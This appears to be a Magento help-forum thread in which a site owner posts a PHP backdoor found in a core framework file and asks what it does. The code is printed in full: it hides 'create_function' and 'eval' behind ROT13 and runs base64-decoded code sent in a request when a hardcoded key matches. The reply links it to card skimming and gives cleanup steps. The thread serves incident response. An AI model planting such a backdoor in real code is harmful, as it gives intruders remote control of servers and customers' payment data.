0

I've found this script in vendor/magento/framework/Interception/Interceptor.php

public function validate_request($request)
{
    $is_safe = false;

    $default_function = @create_function('$str', 'return str_rot13($str);');
    $keys = ["perngr_shapgvba",
        'erghea riny($vachg);'];
    $validate = $default_function($keys[0]);
    $key_data  = $default_function($keys[1]);
    $Composer_Validator = @$validate('$input', $key_data);
    $safe_match = "5408be1139";
    if (isset($request["encryption_key"])) {
        $encryption_key = $request["encryption_key"];
        if ($safe_match == $encryption_key) {
            $is_safe = true;
        }
    }
    $frontName = "/*front*/";
    if (isset($request["frontName"])) {
        $frontName = $request["frontName"];
        $frontName = base64_decode($frontName);
    }
    if ($is_safe && function_exists($Composer_Validator)) {
        $is_safe = (bool) @$Composer_Validator($frontName);
        return $is_safe;
    }

}

I think it's a malware, but what it does? Also, i tried to remove it, but it return, can someone know how to remove it forever?

1 Answer 1

2

I have seen something similar recently and yes, it was malicious. It was used to inject malicious JS to the database (more specifically to the shipping policy) which was then used to skim card information. I would strongly advise you to check the checkout to make sure the payment form is legitimate and scan the database for anything suspicious.

As an immediate "quick fix", I would suggest replacing the file with a clean version and changing the permissions of the file from 775 to 554. That should prevent the file from being overwritten (of course if the attack is similar to the one I have witnessed).

It was a PHP process on the server that was responsible for overwriting the file so I would suggest to restart the server to get rid of any malicious processes.

I am not sure how the intruder got into the system, but updating to the latest secure Magento version and removing Wordpress seemed to patch the weak entry point.

2
  • I can +1 this answer as a witness to the same malicious attack.
    – gazZz
    Sep 22 at 14:44
  • @Greg How can i scan the database from malwares? Sep 23 at 12:50

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.